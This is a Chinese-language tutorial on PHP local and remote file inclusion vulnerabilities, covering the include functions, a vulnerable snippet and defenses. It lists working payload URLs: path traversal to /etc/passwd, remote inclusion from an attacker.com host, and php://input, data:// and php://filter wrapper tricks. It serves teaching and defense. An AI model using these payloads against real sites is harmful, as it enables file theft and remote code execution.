文件包含漏洞全面解析
一、文件包含基础概念
文件包含是指通过文件包含函数将一个文件的内容引入到另一个文件中,以实现代码重用。在PHP中,主要有以下四个文件包含函数:
include()include_once()require()require_once()
区别:
require()如果在包含过程中出错,会直接退出,不执行后续语句include()在包含过程中出错只会提出警告,不影响后续语句执行
二、文件包含漏洞成因
当文件包含函数加载的参数未经充分过滤或严格定义,可以被用户控制时,攻击者可能包含恶意文件,导致执行非预期代码。
三、文件包含漏洞分类
3.1 本地文件包含(LFI)
定义:能够打开并包含本地文件的漏洞。
示例:
<?php
$file = $_GET['page'];
?>
攻击者可构造URL如:http://example.com/vuln.php?page=../../etc/passwd读取系统敏感文件。
3.2 远程文件包含(RFI)
定义:能够包含远程服务器上的文件并执行。
利用条件:
allow_url_fopen=Onallow_url_include=On
示例:
攻击者在自己的服务器上放置恶意文件evil.txt,内容为PHP代码,然后构造URL:
http://victim.com/vuln.php?page=http://attacker.com/evil.txt
四、PHP伪协议利用
4.1 php://filter
用途:读取文件内容
条件:只需开启allow_url_fopen
用法:
?file=php://filter/read=convert.base64-encode/resource=xxx.php
读取的文件会经过base64编码输出。
4.2 php://input
用途:执行POST请求中的数据作为PHP代码
条件:需要allow_url_include=On
用法:
?file=php://input
然后通过POST提交PHP代码。
4.3 zip://
用途:访问压缩文件中的内容
条件:PHP版本≥5.3.0
用法:
?file=zip://[压缩文件路径]#[压缩文件内的子文件名]
注意#需要编码为%23
4.4 phar://
用途:类似zip://,但语法不同
用法:
?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
4.5 data://
用途:执行任意代码
条件:allow_url_fopen和allow_url_include都需开启
用法1:
?file=data:text/plain,<?php 执行内容 ?>
用法2:
?file=data:text/plain;base64,编码后的php代码
注意base64编码中的+和=需要URL编码。
4.6 file://
用途:访问本地文件系统
特点:不受allow_url_fopen与allow_url_include影响
用法:
?file=file://文件绝对路径
五、防御措施
- 使用open_basedir:限制PHP只能访问指定目录
- 严格过滤输入:过滤
./\等特殊字符 - 关闭危险配置:尽量关闭
allow_url_include - 白名单验证:对包含的文件名进行白名单验证
- 避免动态包含:尽量避免使用用户输入直接作为包含参数
六、总结
文件包含漏洞危害严重,可能导致敏感信息泄露、任意代码执行等后果。开发人员应充分了解其原理和利用方式,采取有效措施进行防御。安全人员则可以利用这些知识进行渗透测试,发现系统中的安全隐患。